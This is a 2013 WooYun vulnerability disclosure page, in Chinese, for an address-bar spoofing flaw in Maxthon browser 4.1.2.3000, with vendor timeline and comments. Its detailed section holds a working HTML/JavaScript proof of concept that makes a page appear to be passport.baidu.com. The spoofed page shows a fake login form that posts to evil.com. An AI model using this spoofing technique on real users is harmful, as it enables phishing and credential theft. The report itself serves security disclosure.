当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035598

漏洞标题:傲游浏览器4.1.2.3000 伪造任意网站内容漏洞

相关厂商:傲游

漏洞作者: blast

提交时间:2013-08-29 15:19

修复时间:2013-11-27 15:20

公开时间:2013-11-27 15:20

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-29: 细节已通知厂商并且等待厂商处理中
2013-08-29: 厂商已经确认,细节仅向厂商公开
2013-09-01: 细节向第三方安全合作伙伴开放
2013-10-23: 细节向核心白帽子及相关领域专家公开
2013-11-02: 细节向普通白帽子公开
2013-11-12: 细节向实习白帽子公开
2013-11-27: 细节向公众公开

简要描述:

俺也是遨游的老用户了其实 - - 你故意五天忽略 漏洞还是在那儿 你偷偷修复了……结果还是没照顾到这个问题……Base+A跟直接地址栏打开网址逻辑不一样是为甚……和以前spoof只能spoof不存在的网站不同 这个spoof只能spoof已经存在的网站 没细看 新遨游貌似是修复了不存在的网站耗时过多的问题 存在的还是有逻辑问题

详细说明:

<html>
<base href="https://passport.baidu.com/aclogin.php?queryWord=">
<div style="display:none"><a href="#" id="ak">asd</a></div>
<script>
document.writeln("<title>Hello World</title>");
document.writeln("<h1>伪造网页</h1>");
document.writeln("百度服务器维护,在此输入您的帐号密码。 这样写是不是显得危害大一点? 帐号<form method=post action=http://evil.com/aaa><input type=text/></form> ");
var s="W";
var i=0;
var dd=0;
for(i=0;i<30000;i++)
s+=('A'+Math.random()*10);
document.getElementById("ak").href=s;
function x(){
if(dd==0){
dd=1;
document.getElementById("ak").click();
}
else
{
document.write("<scr"+"ipt>function e(){window.stop();document.stop();document.writeln('<title>Hello World</title>');document.writeln('<h1>伪造网页</h1>');document.writeln('这个部分是伪造的。你懂得2。');}</scr"+"ipt>");
}
document.stop();
window.stop();
window.stop();
window.stop();
window.stop();
document.stop();
}
setInterval("x();",2130);
</script>
</html>

漏洞证明:

如果偶尔出411了 刷新几次 随机数据嘛~
不像以前点击关闭之后地址栏会变回本地路径 这儿点击关闭之后地址栏路径就变成 A HREF里面的地址了 所以可以SPOOF
当然 不点效果也是一样 只不过多个圈看起来挺烦人的

f1.png

修复方案:

大牛们 你们都懂的

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-08-29 15:33

厂商回复:

多谢提交.

最新状态:

2013-10-16:内部已修复


漏洞评价:

评论

  1. 2013-08-30 11:19 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    @Finger 额 不能复现的话 貌似在里面加一个循环就可以了……

  2. 2013-08-30 15:22 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    MxResMgr.dll这个逃不了干系。。